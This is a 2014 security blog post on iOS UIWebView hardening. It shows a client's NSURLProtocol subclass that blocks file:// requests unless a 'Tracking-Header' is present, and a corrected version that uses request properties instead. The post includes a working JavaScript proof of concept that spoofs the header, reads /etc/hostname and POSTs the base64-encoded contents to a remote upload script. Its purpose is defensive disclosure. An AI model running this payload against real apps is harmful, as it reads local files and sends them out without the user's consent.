Continued Adventures with iOS UIWebViews

on 5 June, 2014

5 June, 2014

Back in April 2012, we published a blog post titled Adventures with iOS UIWebViews.

This was one in a series of posts at the beginning of our journey into looking a little closer at the use of ‘WebViews’ in mobile applications. This post is a continuation of that journey and details the dangers of using a custom protocol handler (via NSURLProtocol) in iOS applications.

To serve as a quick recap, and to explain what a webview actually is, the introduction text from the previous blog post has been recreated here:

“A Webview is often used to load HTML content as an in process web browser to save passing the user off to the platform’s web browser. They are also often used when a developer wants to quickly port a web application to multiple mobile platforms without having to create a specific UI for each. In addition to these ‘general’ use cases, clients keep finding ingenious ways to make use of them. The most common implementation that we come across is to facilitate advertisement loading from remote advertisers.”

The rest of the post goes on to present some differences between UIWebViews (the iOS implementation) and other platform implementations before finishing with some suggested approaches to implementing an ‘as secure as it can be’ UIWebView.

Since that journey began, we’ve identified numerous related issues and the output from this research has been published on the blog and presented at various security conferences. Some of the relevant posts are listed below:

At the time of writing the original Adventures with iOS UIWebViews post, we were not aware of a defensive method for protecting UIWebViews that can be leveraged using a custom NSURLProtocol class. Recently a client asked us to review their advertising implementation, in particular the defensive strategies they had deployed. They were aware of the security issues we had publicised with mobile advertising libraries and their UIWebViews. However, they still faced the original problem that adverts cannot be served over SSL/TLS (HTTPS) as the advertising networks, in majority, still fail to support encrypted channels for serving advertisements.

The advice given in the original post is not a complete defensive strategy as it has some failings (which were made clear in the post). The recommended approach for implementing “Resource and Content Inspection” was not complete in itself. The strategy of using the UIWebViewDelegate Protocol and the NSURL class to inspect attempts to load resources into a UIWebView cannot prevent authorised resources from loading content from other resources dynamically using non interactive calls – such as <script src="http://www.attacker.com/malicous.js />, similarly use of XmlHttpRequest calls will not be intercepted.

This results in an incomplete solution, even if the NSURLConnection and the NSData classes are used to inspect the response content of loaded resources in combination with the UIWebViewDelegate Protocol and the NSURL classes to inspect resource requests.

Since then we have become aware of another strategy that can be effective – namely sub classing the NSURLProtocol class; however as with many code level defences, this can be done correctly and incorrectly. There are numerous examples online how to subclass the NSURLProtocol class and a lot of them are done incorrectly (when looking at them from a security perspective).

UIWebView uses the NSURLConnection class for every request and every NSURLConnection request is intercepted and treated accordingly either by the cache or other custom protocol handlers. By creating a custom protocol handler (using NSURLProtocol), it is possible to intercept, match and customise every request sent by UIWebView.

Take for example the following ‘real world’ implementation that was being used by a client to prohibit the use of the ‘file://’ protocol handler.

- (id)initWithRequest:(NSURLRequest *)request cachedResponse:(NSCachedURLResponse *)cachedResponse client:(id <NSURLProtocolClient>)client
{
NSMutableURLRequest *uriRequest = [request mutableCopy];
[uriRequest setValue:@"WV-request" forHTTPHeaderField:@"Tracking-Header"];
self = [super initWithRequest:uriRequest cachedResponse:cachedResponse client:client];
if (self){[self setRequest:adRequest];}
return self;
}

+ (BOOL)canInitWithRequest:(NSURLRequest*)uriRequest
{
NSURL* requestURI = [uriRequest URL];
if(NSOrderedSame == [[requestURI scheme] caseInsensitiveCompare:@"file"]){
return [uriRequest valueForHTTPHeaderField:@"Tracking-Header"] == nil ? YES : NO;
}
return NO;
}

- (void)startLoading
{
NSURL* *uriRequest = [[self request] URL];
if(NSOrderedSame == [[*uriRequest scheme] caseInsensitiveCompare:@"file"]){
NSError * error = [NSError errorWithDomain:@"Forbidden" code:403 userInfo:nil];
[[self client] URLProtocol:self didFailWithError:error];
return;
}
NSURLConnection *connection = [NSURLConnection connectionWithRequest:[self request] delegate:self];
[self setConnection:connection];
}

The ‘initWithRequest’ method is a custom initialization method and is used above to add a “Tracking-Header” to the NSURLRequest object. Subclasses often override this method to perform custom initialization procedures, as illustrated above. We’ll explain the presence of a custom header soon enough.

The ‘canInitWithRequest’ method is called whenever the URL Loading System receives a request to load a URL. The URL Loading System searches for a registered protocol handler to handle the request. Each handler tells the system whether it can handle a given request via its ‘canInitWithRequest’ method. The parameter to this method is the request that the protocol is being asked if it can handle. If the method returns YES, then the loading system will rely on this NSURLProtocol subclass to handle the request, and ignore all other handlers. If none of the custom registered handlers can handle the request, then the URL Loading System will handle it by itself, using the system’s default behaviour. Data is returned from the custom NSURLProtocol subclass through an NSURLProtocolClient. Every NSURLProtocol object has access to its “client”, an instance of NSURLProtocolClient. Through the client, state changes, responses and data are passed back via communications with the URL Loading System.

The ‘startLoading’ method is what the loading system uses to tell the NSURLProtocol to start handling a request and is called when a protocol should start loading data.

In the example above a custom header is set for tracking purposes. The developer of the application has implemented this custom header so that a check can be made to prevent the processing of the same request multiple times (for optimisation). If the header is present the call is sent to the super class for processing. Calls are made to the ‘canInitWithRequest’ method any time the code has to figure out which protocol will handle a particular request, and this is done multiple times during normal operation. For example, any calls to ‘+[NSURLConnection canHandleRequest:]’ will result in a call to ‘canInitWithRequest’. The method is also called at the beginning of any load and as part of “URL canonicalization”, which can be done explicitly and is also done implicitly for all loads. At least two calls to the method can be made when comparing requests with ones already in progress (to see if the cached results can be shared). How and when the method is called can change between versions of WebKit. See CDVURLProtocol.m for an example of how returning from a call can result in multiple calls also.

The code presented above, as an example, implements the sub classing technique to deny access to the ‘file://’ protocol handler. To prevent processing the same request multiple times, a header is added to the client request so that it can be tracked. The use of a custom HTTP header to implement security decisions within a UIWebView that an attacker can interact with is an approach likely to fail. As an attacker we can use XmlHttpRequest to add a custom header to our requests. Take for example the Proof of Concept JavaScript payload below.

function base64_encode(data) {
var b64 = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';
var o1, o2, o3, h1, h2, h3, h4, bits, i = 0,
ac = 0,
enc = '',
tmp_arr = [];
if (!data) {
return data;
}
do {
o1 = data.charCodeAt(i++);
o2 = data.charCodeAt(i++);
o3 = data.charCodeAt(i++);
bits = o1 << 16 | o2 << 8 | o3;
h1 = bits >> 18 & 0x3f;
h2 = bits >> 12 & 0x3f;
h3 = bits >> 6 & 0x3f;
h4 = bits & 0x3f;
tmp_arr[ac++] = b64.charAt(h1) + b64.charAt(h2) + b64.charAt(h3) + b64.charAt(h4);
}
while (i < data.length);
enc = tmp_arr.join('');
var r = data.length % 3;
return (r ? enc.slice(0, r - 3) : enc) + '==='.slice(r || 3);
}
function cb(r) {
x = new XMLHttpRequest;
x.open("POST", "http://xx.xx.xx.xx/upload.php",true);
x.setRequestHeader("Content-type","application/x-www-form-urlencoded");
x.send("data="+r);
}

var xmlhttp, text;
var header = 'Tracking-Header';
var value = 'WV-request';
xmlhttp = new XMLHttpRequest();
xmlhttp.open('GET', 'file:///etc/hostname', false);
xmlhttp.setRequestHeader(header,value);
xmlhttp.send();
text = xmlhttp.responseText;
cb(base64_encode(text));

The code above adds a custom header to the XmlHttpRequest before requesting the contents of the file /etc/hostname. The contents of the file are base64 encoded and posted to a remote PHP upload script.

So what can be done to optimise the code and prevent multiple processing of requests and prevent an attacker from bypassing the inspection routine? NSURLProtocol provides methods that allow you to add, retrieve, and remove arbitrary metadata to a request object. We can use the following methods to set the same tracking identifiers, except an attacker from within the UIWebView can’t manipulate these. The following methods are available to achieve this:

  • +propertyForKey:inRequest:
  • +setProperty:forKey:inRequest:
  • +removePropertyForKey:inRequest:

The methods are the preferred approach to pass state between other methods in custom protocol implementations. For example, instead of setting the custom header, the +propertyForKey:inRequest method can be used to set an NSNumber instance for a given key and for a given request. The code presented earlier has been patched to use this approach and is presented below.

- (id)initWithRequest:(NSURLRequest *)request cachedResponse:(NSCachedURLResponse *)cachedResponse client:(id <NSURLProtocolClient>)client
{
NSMutableURLRequest *uriRequest = [request mutableCopy];
[NSURLProtocol setProperty:@YES forKey:@"MyURLProtocolHandledKey" inRequest:uriRequest];
self = [super initWithRequest:uriRequest cachedResponse:cachedResponse client:client];
if (self){[self setRequest:adRequest];}
return self;
}

+ (BOOL)canInitWithRequest:(NSURLRequest*)uriRequest
{
NSURL* requestURI = [uriRequest URL];
if(NSOrderedSame == [[requestURI scheme] caseInsensitiveCompare:@"file"]){
return [NSURLProtocol propertyForKey:@"MyURLProtocolHandledKey" inRequest:uriRequest] == nil ? YES : NO;
}
return NO;
}

- (void)startLoading
{
NSURL* *uriRequest = [[self request] URL];
if(NSOrderedSame == [[*uriRequest scheme] caseInsensitiveCompare:@"file"]){
NSError * error = [NSError errorWithDomain:@"Forbidden" code:403 userInfo:nil];
[[self client] URLProtocol:self didFailWithError:error];
return;
}
NSURLConnection *connection = [NSURLConnection connectionWithRequest:[self request] delegate:self];
[self setConnection:connection];
}